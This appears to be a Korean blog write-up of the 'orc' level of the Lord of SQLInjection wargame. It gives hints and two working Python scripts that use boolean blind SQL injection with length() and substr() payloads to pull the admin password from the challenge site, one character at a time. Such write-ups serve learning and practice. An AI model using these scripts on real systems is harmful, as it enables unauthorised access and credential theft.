힌트1.   최종목표는 admin으로 로그인하고, 그 pw의 값을 비교하는데 참으로 만들어야 한다는 것. 즉 pw를 알아야 한다.

힌트2.   그렇다. blind sql injection 문제이다.

힌트3.   length, substr 함수를 쓰면 풀릴것이다.

 

 

 

풀이
php해석을 해보면 결국엔 admin의 pw를 알아내야만 한다. 그렇다. blind sql injection 문제이다.
length함수를 이용해서  admin의 pw 길이를 알아보자.

아래는 이 문제를 풀기 위해 작성된 파이썬 코드이다.
이 코드를 쓰려면 PHPSESSID 값을 바꿔주면 된다. (time.sleep을 쓴 이유는 딜레이를 넣지 않으면 확률로(?) 끊기는 경우가 있어서 넣었다.)

 

import requests
import string
import time

wordList=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','0','!','@','#','$','%','^','&','*','(',')']
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
			'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
			'Accept-Language' : 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7',
			'Cookie': 'PHPSESSID=값값값값값값',
			'Connection': 'close'
	     }
print("Searching password length...")
for count in range(1,20):
	time.sleep(0.5)
	url = "http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=1' or id='admin' and length(pw)="+str(count)+"%23"
	req = requests.get(url, headers=header)
	if req.text.find("<h2>Hello admin</h2>") != -1:
		print("password length : %d" % count)
		break

 

 

 

우리의 짱짱 Python 님께서 8자리라고 하신다.
그다음은 substr을 이용해서 패스워드를 알아내보자. (ascii를 사용했더니 응답이 끊어져서 이 문제에서는 사용하지 않았음)
아래 코드가 패스워드를 알아내는 코드이다.

 

import requests
import string
import time

wordList=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','0','!','@','#','$','%','^','&','*','(',')']
header = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36',
			'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
			'Accept-Language' : 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7',
			'Cookie': 'PHPSESSID=fe965v2kkat8rho8tirt1jni81',
			'Connection': 'close'
	     }
print("Searching password...")
for count in range(1,9):
	for string in range(len(wordList)):
		time.sleep(0.5)
		url = "http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=1' or id='admin' and substr(pw,"+str(count)+",1)='"+wordList[string]+"'%23"
		req = requests.get(url, headers=header)
		if req.text.find("<h2>Hello admin</h2>") != -1:	# if not found, return -1	
			print(wordList[string])
			break

 

'CTF > LOS' 카테고리의 다른 글

[LOS] – darkelf 힌트 및 풀이  (0) 2019.04.06
[LOS] – wolfman 힌트 및 풀이  (0) 2019.04.06
[LOS] – orc 힌트 및 풀이  (0) 2019.04.06
[LOS] – goblin 힌트 및 풀이  (0) 2019.04.06
[LOS] – cobolt 힌트 및 풀이  (0) 2019.04.06
[LOS] – gremlin 힌트 및 풀이  (0) 2019.04.06